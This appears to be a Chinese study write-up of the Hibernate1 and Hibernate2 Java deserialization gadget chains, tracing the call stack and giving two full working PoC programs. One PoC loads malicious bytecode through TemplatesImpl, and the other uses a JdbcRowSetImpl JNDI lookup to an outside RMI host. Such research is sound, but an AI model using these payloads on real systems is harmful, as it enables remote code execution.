参考链接1 参考链接2

Hibernate1

这也是可以通过调用任意getter函数来进行代码执行的一个类

首先先给上调用栈

1
2
3
4
5
6
7
8
9
HashMap.readObject()
TypedValue.hashCode()
ValueHolder.getValue()
ValueHolder.DeferredInitializer().initialize()
ComponentType.getHashCode()
PojoComponentTuplizer.getPropertyValue()
AbstractComponentTuplizer.getPropertyValue()
BasicPropertyAccessor$BasicGetter.get()/GetterMethodImpl.get()
TemplatesImpl.getOutputProperties()

我们还是老样子 从能够执行命令的地方开始分析

BasicPropertyAccessor#get 方法

image-20230711230854168

这个的话是可以调用任意方法

这里可控的两点就是method和这个target参数

BasicPropertyAccessor#BasicGetter 方法

image-20230711231133798

这个类的构造方法是可以设置这个method方法的

BasicPropertyAccessor#creatGetter 方法

image-20230711231410524

跟进这个方法

BasicPropertyAccessor#getGetterOrNull 方法

image-20230711231507249

接着跟进这个方法

BasicPropertyAccessor#getterMethod 方法

image-20230711231538300

  • 首先第一步就是先获取到这个theClass这个类里的所有方法
  • 然后判断这些方法是是否存在参数 如果存在参数的话就退出
  • 接着就判断无参数的方法是否是get或者is开头的
  • 如果满足以上条件的话就将get或is后面的东西转化为小写并返回

image-20230711231914096

BasicPropertyAccessor#getterMethod执行完后 就会将method进行返回 然后就返回BasicGetter的构造方法 这样的话就给method给配置完成了

知道上述的东西参数怎么配置完之后 我们就得找找谁能调用这个get方法

经过查找发现在抽象类org.hibernate.tuple.component.AbstractComponentTuplizer中定义了成员变量getters,并且通过getPropertyValue()方法调用get方法,而getPropertyValues()又调用了getPropertyValue()

image-20230711232825523

就是这两个方法

接着找谁调用了getPropertyValues()方法,由于这是抽象类,因此该找实现类哪里调用了

但是抽象类我们无法调用,只能使用它的子类,AbstractComponentTuplizer 有两个子类,一个是 PojoComponentTuplizer,一个是 DynamicMapComponentTuplizer,这对应着 Hibernate 的实体对象的类型,即 pojodynamic-mappojo 代表将 Hibernate 类型映射为 Java 实体类,而 dynamic-map 将映射为 Map 对象。

这里选择 PojoComponentTuplizer 类,他的 getPropertyValues() 方法会调用其父类的此方法。

1
2
3
4
5
6
7
public Object[] getPropertyValues(Object component) throws HibernateException {
if (component == BackrefPropertyAccessor.UNKNOWN) {
return new Object[this.propertySpan];
} else {
return this.optimizer != null && this.optimizer.getAccessOptimizer() != null ? this.optimizer.getAccessOptimizer().getPropertyValues(component) : super.getPropertyValues(component);
}
}

image-20230712114037350

这里就是会调用到父类里的getPropertyValues方法

而这个方法在ComponentType中又被调用

image-20230713002720265

这里让componentTuplizerPojoComponentTuplizer即可接上链子,而在该类的getHashcode方法中又调用了getPropertyValue

image-20230713004928706

此现在该着哪里可以接上getHashcode,这里就再正向分析一波,首先找到在TypedValue类中的initTransients是调用getHashcode了的

image-20230713005144028

那么就接着找谁调用了这个initTransients 这个方法

image-20230713005401438

最后在这个ValueHolder#getValue()里带调用了这个initialize方法

那么这个getValue方法是在这个TypedValue#hashCode()方法来调用

image-20230713005511693

(这个this.hashcode是在调用这个initialize的时候来给赋值的)

image-20230713005654920

那么我们现在就走到了TypedValue#hashcode这个方法这里了

那么有经验的师傅就能想到使用hashMap来当入口来触发了

(就是最外层就是hashMap)

POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;

/**
* Hello world!
*
*/
public class Hibernate1 {

public static String fileName = "Hibernate1.bin";
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static void main(String[] args) throws Exception {

Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");


// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = new TemplatesImpl();
setFieldValue(tmpl, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.class.getName()).toBytecode()
});
setFieldValue(tmpl, "_name", "HelloTemplatesImpl");
setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());
Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");

Object getter;
try {
// 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> getterImpl = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
constructor.setAccessible(true);
getter = constructor.newInstance(null, null, method);
} catch (Exception ignored) {
// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(tmpl.getClass(), method, "outputProperties");
}

// 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);

// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);

// 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
Object type = createWithoutConstructor(componentTypeClass);

// 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
setFieldValue(type,"componentTuplizer",tuplizer);
setFieldValue(type,"propertySpan",1);
setFieldValue(type,"propertyTypes",new Type[]{(Type) type});

// 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
TypedValue typedValue = new TypedValue((Type) type, null);

// 创建反序列化用 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(typedValue, "su18");

// put 到 hashmap 之后再反射写入,防止 put 时触发
setFieldValue(typedValue,"value",tmpl);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}

}

image-20230713233831925

完整的利用链

image-20230713233920372

这里这样写是因为版本的不同 调用链在这一块也是会不同的

总结

  1. 利用说明:
    • 由 HashMap 的反序列化触发 TypedValue 的 hashCode,调用到 ComponentType 的 getHashCode 方法,调用 PojoComponentTuplizer 的 getPropertyValue 的方法,然后使用 BasicPropertyAccessor$BasicGetter 调用 get 方法,触发 TemplatesImpl 的 getOutputProperties 方法。
  1. 依赖版本

Hibernate : 3-5

  1. 本次复现用的依赖版本
1
2
3
4
5
6
7
8
<dependencies>
<!-- https://mvnrepository.com/artifact/org.hibernate/hibernate-core -->
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>4.3.11.Final</version>
</dependency>
</dependencies>

image-20230713234611171

这位师傅提出了一个想法 可以学习一下为什么

Hibernate2

既然是触发 getter 方法,这就让我们想到了 fastjson 的经典触发方式,除了 TemplatesImpl 实例化恶意类字节码,还有 JdbcRowSetImpl 触发恶意 JNDI 查询,Hibernate2 就是这种方式,不知道这两个漏洞是谁先出的,谁借鉴的谁。

fastjson 中使用 JdbcRowSetImplsetAutoCommit(setter)方法触发 JNDI 查询,而在 Hibernate2 中由于是触发 getter 方法,因此我们选择 getDatabaseMetaData

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassPool;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;

/**
* Hello world!
*
*/
public class Hibernate2 {

public static String fileName = "Hibernate1.bin";
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static void main(String[] args) throws Exception {

Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");


// 生成JdbcRowxxx
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("rmi://192.168.142.129:9999/evilclass");
Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");
Object getter;
try {
// 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> getterImpl = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
constructor.setAccessible(true);
getter = constructor.newInstance(null, null, method);
} catch (Exception ignored) {
// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(rs.getClass(), method, "databaseMetaData");
}

// 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);

// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);

// 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
Object type = createWithoutConstructor(componentTypeClass);

// 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
setFieldValue(type,"componentTuplizer",tuplizer);
setFieldValue(type,"propertySpan",1);
setFieldValue(type,"propertyTypes",new Type[]{(Type) type});

// 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
TypedValue typedValue = new TypedValue((Type) type, null);

// 创建反序列化用 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(typedValue, "su18");

// put 到 hashmap 之后再反射写入,防止 put 时触发
setFieldValue(typedValue,"value",rs);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}

}

image-20230714002402940

image-20230714002411609

这样就能执行了 (只是比较慢)